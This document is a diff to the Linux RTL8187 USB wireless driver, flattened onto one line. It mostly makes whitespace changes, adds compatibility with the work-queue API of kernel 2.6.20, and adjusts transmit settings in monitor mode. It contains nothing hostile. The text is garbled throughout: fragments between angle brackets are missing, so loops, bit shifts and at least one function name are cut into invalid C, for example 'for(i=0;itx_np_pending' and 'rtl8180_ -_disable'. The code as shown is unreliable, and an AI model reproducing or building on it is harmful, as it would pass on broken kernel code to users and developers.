(struct r8180_priv *)ieee80211_priv(dev); - + int len = 0; - + len += snprintf(page + len, count - len, /*"RX packets: %lu\n" "RX urb status error: %lu\n" @@ -431,21 +444,22 @@ priv->stats.rxicverr ); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { struct r8180_priv *priv = ieee80211_priv(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -477,8 +491,8 @@ { struct proc_dir_entry *e; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -488,7 +502,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -497,17 +511,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -516,27 +530,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -552,14 +566,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } @@ -600,9 +614,9 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { printk( "\nD: %2x> ", n); @@ -619,11 +633,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -633,7 +647,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -657,27 +671,27 @@ { struct r8180_priv *priv = ieee80211_priv(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); @@ -715,25 +729,25 @@ { struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); int err; - + // u8 *rx; - + //DMESG("starting RX"); /*rx = kmalloc(RX_URB_SIZE*sizeof(u8),GFP_ATOMIC); - if(!rx){ + if(!rx){ DMESGE("unable to allocate RX buffer"); return; }*/ - + usb_fill_bulk_urb(rx_urb,priv->udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, - RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + RX_URB_SIZE,rtl8187_rx_isr, dev); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } @@ -741,30 +755,30 @@ { int i; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); priv->tx_urb_index = 0; - + } void rtl8187_set_rxconf(struct net_device *dev) { struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); priv->dma_poll_mask |= (1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -971,13 +988,13 @@ int i; u32 *tmp; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -996,15 +1013,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -1012,19 +1029,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; } @@ -1089,49 +1106,49 @@ u16 N_DBPSOfRate(u16 DataRate) { u16 N_DBPS = 24; - + switch(DataRate) { case 60: N_DBPS = 24; break; - + case 90: N_DBPS = 36; break; - + case 120: N_DBPS = 48; break; - + case 180: N_DBPS = 72; break; - + case 240: N_DBPS = 96; break; - + case 360: N_DBPS = 144; break; - + case 480: N_DBPS = 192; break; - + case 540: N_DBPS = 216; break; - + default: break; } - + return N_DBPS; } -u16 ComputeTxTime( +u16 ComputeTxTime( u16 FrameLength, u16 DataRate, u8 bManagementFrame, @@ -1146,7 +1163,7 @@ { if( bManagementFrame || !bShortPreamble || DataRate == 10 ) { // long preamble - FrameTime = (u16)(144+48+(FrameLength*8/(DataRate/10))); + FrameTime = (u16)(144+48+(FrameLength*8/(DataRate/10))); } else { // Short preamble @@ -1156,14 +1173,14 @@ FrameTime ++; } else { //802.11g DSSS-OFDM PLCP length field calculation. N_DBPS = N_DBPSOfRate(DataRate); - Ceiling = (16 + 8*FrameLength + 6) / N_DBPS + Ceiling = (16 + 8*FrameLength + 6) / N_DBPS + (((16 + 8*FrameLength + 6) % N_DBPS) ? 1 : 0); FrameTime = (u16)(16 + 4 + 4*Ceiling + 6); } return FrameTime; } - + #if 0 void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) { @@ -1172,7 +1189,7 @@ priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #endif @@ -1223,13 +1240,14 @@ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + morefrag = 1; // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1238,25 +1256,24 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ DMESG("Error: no TX slot "); ieee80211_stop_queue(priv->ieee80211); } - - + rtl8180_tx(dev, skb->data, skb->len, LOW_PRIORITY, morefrag, ieeerate2rtlrate(rate)); priv->stats.txdatapkt++; - + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + } #if 0 /* This is a rough attempt to TX a frame @@ -1269,9 +1286,9 @@ struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1281,9 +1298,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1296,7 +1313,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1305,7 +1322,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1313,30 +1330,30 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif @@ -1369,10 +1386,10 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } @@ -1406,18 +1423,18 @@ struct r8180_priv *priv = ieee80211_priv(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - + skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1427,7 +1444,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1438,7 +1455,7 @@ return ; } } - + rtl8180_tx(dev, skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); @@ -1461,15 +1478,15 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u8* txbuf, int len, priority_t priority, short morefrag, short rate) { //u32 *tx; - u8 *tx; + u8 *tx; u8 *pdata; u8 seg = ((u32)txbuf % 4); u32 *pdata32; @@ -1480,7 +1497,7 @@ int pend; int status; struct urb *tx_urb; - int urb_len; + int urb_len; u16 AckCtsTime; u16 FrameTime; u16 duration; @@ -1498,20 +1515,20 @@ priv->stats.txlpdrop++; return -1; } - -#if 0 + +#if 0 //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } @@ -1519,7 +1536,7 @@ //urb_len = TX_URB_SIZE; urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx_urb = priv->tx_context[priv->tx_urb_index].tx_urb; @@ -1527,7 +1544,7 @@ pdata = tx + 12; priv->tx_urb_index = (priv->tx_urb_index + 1) % MAX_TX_URB; #endif -#if 0 +#if 0 memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; @@ -1535,7 +1552,7 @@ // printk(KERN_INFO "preamble mode %d,rate %d!\n",priv->plcp_preamble_mode,rate); if (priv->ieee80211->current_network.capability&WLAN_CAPABILITY_SHORT_PREAMBLE) if (priv->plcp_preamble_mode==1 && rate!=0) { // short mode now, not long! - tx[0] |= (1<<16); + tx[0] |= (1<<16); // printk(KERN_INFO "use short preamble!\n"); } // enable short preamble mode. @@ -1548,11 +1565,11 @@ AckCtsTime = ComputeTxTime(14, 10,0, 0); // AckCTSLng = 14 use 1M bps send FrameTime = ComputeTxTime(len + 4, rtl8180_rate2rate(rate), 0, tx[0]&(1<<16)); // RTS/CTS time is calculate as follow - duration = FrameTime + 3*10 + 2*AckCtsTime; //10us is the SifsTime; + duration = FrameTime + 3*10 + 2*AckCtsTime; //10us is the SifsTime; tx[1] |= duration; //Need to edit here! ----hikaru printk(KERN_INFO "duration %d!\n",duration); } - else + else tx[1]=0; //if(len > priv->rts_threshold){ // tx[0] |= (1<<23); //ENABLE RTS @@ -1562,18 +1579,18 @@ tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); // tx[1] = 0; - + // duration = rtl8180_len2duration(len, -// rate,&ext); +// rate,&ext); // tx[1] |= (duration & 0x7fff) <<16; // if(ext) tx[1] |= (1<<31); - + // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1601,12 +1618,12 @@ } #endif //memcpy(pdata, txbuf, len); - + //tx[0] = 0; //tx[1] = 0; tx[2] = 0; tx[3] = 0; - + //tx[0] |= len & 0xfff; tx[0] = len & 0xff; tx[1] = (len & 0x0f00) >> 8; @@ -1614,25 +1631,25 @@ if (priv->ieee80211->current_network.capability&WLAN_CAPABILITY_SHORT_PREAMBLE) if (priv->plcp_preamble_mode==1 && rate!=0) { // short mode now, not long! - tx[2] |= 1; + tx[2] |= 1; - } + } if ( (len>priv->rts) && priv->rts && priority==LOW_PRIORITY){ tx[2] |= (1<<7); //enalbe RTS function AckCtsTime = ComputeTxTime(14, 10,0, 0); // AckCTSLng = 14 use 1M bps send FrameTime = ComputeTxTime(len + 4, rtl8180_rate2rate(rate), 0, tx[2]&1); // RTS/CTS time is calculate as follow - duration = FrameTime + 3*10 + 2*AckCtsTime; //10us is the SifsTime; + duration = FrameTime + 3*10 + 2*AckCtsTime; //10us is the SifsTime; tx[4] |= duration & 0xff; //Need to edit here! ----hikaru - tx[5] |= (duration & 0xff00) >> 8; + tx[5] |= (duration & 0xff00) >> 8; printk(KERN_INFO "duration %d!\n",duration); } else { tx[4] = 0; tx[5] = 0; } - + if(morefrag) tx[2] |= (1<<1); tx[2] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 3); /* RTS RATE - should be basic rate */ tx[3] |= rate; @@ -1640,7 +1657,7 @@ tx[8] = 3; // CW min tx[8] |= (7<<4); //CW max tx[9] |= 11;//(priv->retry_data<<8); //retry lim - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, @@ -1662,7 +1679,7 @@ } } - + //void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); @@ -1671,70 +1688,70 @@ { struct r8180_priv *priv = ieee80211_priv(dev); int i,j; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } for(j=0; j < MAX_TX_URB; j++){ struct tx_urb_context *ptrcontext = &priv->tx_context[j]; u8 seg_size; - + ptrcontext->tx_urb = usb_alloc_urb(0,GFP_KERNEL); - if(!ptrcontext->tx_urb) + if(!ptrcontext->tx_urb) goto destroy_tx; - + ptrcontext->transfer_buffer = kmalloc(TX_URB_SIZE, GFP_KERNEL); - if(!ptrcontext->transfer_buffer) + if(!ptrcontext->transfer_buffer) goto destroy1_tx; // set tx_urb 4 byte align seg_size = (u32)ptrcontext->transfer_buffer % 4; ptrcontext->ptalign_buf = ptrcontext->transfer_buffer + ((seg_size > 0)? (4 - seg_size):0); } - + return 0; destroy1_tx: usb_free_urb(priv->tx_context[j].tx_urb); - + destroy_tx: while (--j >= 0){ kfree(priv->tx_context[j].transfer_buffer); usb_free_urb(priv->tx_context[j].tx_urb); } - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { struct r8180_priv *priv = ieee80211_priv(dev); int i,j; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1743,12 +1760,12 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } //added by david. 2007.1.30 for(j=0; j < MAX_TX_URB; j++){ struct tx_urb_context *ptrcontext = &priv->tx_context[j]; - + usb_kill_urb(ptrcontext->tx_urb); kfree(ptrcontext->transfer_buffer); ptrcontext->transfer_buffer = NULL; @@ -1763,16 +1780,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - + // struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + + //if (ieee80211_is_54g(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1784,7 +1801,7 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); @@ -1813,10 +1830,15 @@ #define HW_WAKE_DELAY 5 +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_hw_wakeup(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, hw_wakeup_wq); + struct net_device *dev = ieee->dev; +#else void rtl8180_hw_wakeup(struct net_device *dev) { - //unsigned long flags; - +#endif struct r8180_priv *priv = ieee80211_priv(dev); printk(KERN_INFO "enter rtl8180_hw_wakeup!\n"); if (!priv->ps_sleep_finish) { @@ -1829,7 +1851,7 @@ // spin_lock_irqsave(&priv->ps_lock,flags); //DMESG("Waken up!"); // write_nic_byte(dev,CONFIG4,read_nic_byte(dev,CONFIG4)&~CONFIG4_PWRMGT); - + if(priv->rf_wakeup) priv->rf_wakeup(dev); priv->ps_sleep_finish=0; @@ -1853,19 +1875,32 @@ schedule_work(&priv->rtl8180_hw_wakeup_wq); printk(KERN_INFO "timer wakup schedule!\n"); } -void rtl8180_rq_tx_ack(struct net_device *dev){ - + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_rq_tx_ack(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, ps_request_tx_ack_wq); + struct net_device *dev = ieee->dev; +#else +void rtl8180_rq_tx_ack(struct net_device *dev) +{ +#endif struct r8180_priv *priv = ieee80211_priv(dev); // write_nic_byte(dev,CONFIG4,read_nic_byte(dev,CONFIG4)|CONFIG4_PWRMGT); priv->ack_tx_to_ieee = 1; // printk(KERN_INFO "rtl8180_rq_tx_ack!\n"); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_hw_sleep(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, hw_sleep_wq); + struct net_device *dev = ieee->dev; +#else void rtl8180_hw_sleep(struct net_device *dev) { - +#endif struct r8180_priv *priv = ieee80211_priv(dev); - u32 rb,tl; //unsigned long flags; u32 timeout; @@ -1886,27 +1921,27 @@ rb = read_nic_dword(dev, TSFTR); //// printk(KERN_INFO "enter rtl8180_hw_sleep!\n"); // spin_lock_irqsave(&priv->ps_lock,flags); - + /* Writing HW register with 0 equals to disable * the timer, that is not really what we want */ tl = priv->ieee80211->ps_tl; // printk(KERN_INFO "tl is %lu!\n",tl); tl -= HW_WAKE_DELAY*1000; - + if(tl == 0) tl = 1; - + /* FIXME HACK FIXME HACK */ // force_pci_posting(dev); // mdelay(1); - + // rb = read_nic_dword(dev, TSFTR); #ifdef TONY_PS printk(KERN_INFO "tl %lu, rb %lu!\n",tl,rb); #endif - + //DMESG("sleep until %x, hw @:%x",tl,rb); - + /* If the interval in witch we are requested to sleep is too * short then give up and remain awake */ @@ -1914,12 +1949,12 @@ if(((rbtl)&& (rb-tl) < MIN_SLEEP_TIME)) return; - + // write_nic_dword(dev, TimerInt, tl); //DMESG("sleep.."); // rb = read_nic_dword(dev, TSFTR); - - /* if we suspect the TimerInt is gone beyond tl + + /* if we suspect the TimerInt is gone beyond tl * while setting it, then give up */ if(((tl > rb) && ((tl-rb) > MAX_SLEEP_TIME))|| @@ -1927,29 +1962,29 @@ return; if (rb>tl) - timeout = (rb-tl)>>10;//divide by 1024 + timeout = (rb-tl)>>10;//divide by 1024 else - timeout = (tl-rb)>>10; + timeout = (tl-rb)>>10; // if(priv->rf_sleep) // priv->rf_sleep(dev); priv->ps_timer.expires = jiffies+timeout; //// printk(KERN_INFO "jiffies %lu, timeout %lu!\n",jiffies,timeout); add_timer(&priv->ps_timer); - + if(priv->rf_sleep) priv->rf_sleep(dev); priv->ps_sleep_finish=1; // } // up(&priv->power_sem); -// spin_unlock_irqrestore(&priv->ps_lock,flags); +// spin_unlock_irqrestore(&priv->ps_lock,flags); printk(KERN_INFO "leave sleep!\n"); } short rtl8180_is_tx_queue_empty(struct net_device *dev){ - + struct r8180_priv *priv = ieee80211_priv(dev); - + int used; #ifdef TONY_TRACK DMESG("enter rtl8180_is_tx_queue_empty!\n"); @@ -1957,11 +1992,11 @@ used = atomic_read(&priv->tx_np_pending); //// printk(KERN_INFO "np used %d!\n",used); - if (used) return 0; + if (used) return 0; used = atomic_read(&priv->tx_lp_pending); //// printk(KERN_INFO "lp used %d!\n",used); if (used) return 0; - + return 1; } @@ -1969,7 +2004,7 @@ short rtl8180_init(struct net_device *dev) { - + struct r8180_priv *priv = ieee80211_priv(dev); int i, j; u16 word; @@ -1977,16 +2012,16 @@ //u16 version; //u8 hw_version; //u8 config3; - + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -2004,9 +2039,9 @@ ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -2042,7 +2077,7 @@ priv->ps_sleep_finish=0; priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps @@ -2050,11 +2085,19 @@ priv->ieee80211->mode = IEEE_G|IEEE_B; //2007.1.25 priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); INIT_WORK(&priv->rtl8180_hw_wakeup_wq,(void(*)(void*))rtl8180_hw_wakeup,dev); INIT_WORK(&priv->ieee80211->ps_request_tx_ack_wq,(void(*)(void*))rtl8180_rq_tx_ack,dev); INIT_WORK(&priv->ieee80211->hw_wakeup_wq,(void(*)(void*))rtl8180_hw_wakeup,dev); INIT_WORK(&priv->ieee80211->hw_sleep_wq,(void(*)(void*))rtl8180_hw_sleep,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); + INIT_WORK(&priv->rtl8180_hw_wakeup_wq, rtl8180_hw_wakeup); + INIT_WORK(&priv->ieee80211->ps_request_tx_ack_wq, rtl8180_rq_tx_ack); + INIT_WORK(&priv->ieee80211->hw_wakeup_wq, rtl8180_hw_wakeup); + INIT_WORK(&priv->ieee80211->hw_sleep_wq, rtl8180_hw_sleep); +#endif // INIT_WORK(&priv->ps_request_tx_ack_wq,(void(*)(void*))rtl8180_rq_tx_ack,dev); sema_init(&priv->wx_sem,1); sema_init(&priv->power_sem,1); @@ -2068,17 +2111,17 @@ priv->ps_timer.data = (unsigned long)dev; priv->ps_timer.function = timer_hw_wakeup_wq; - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct 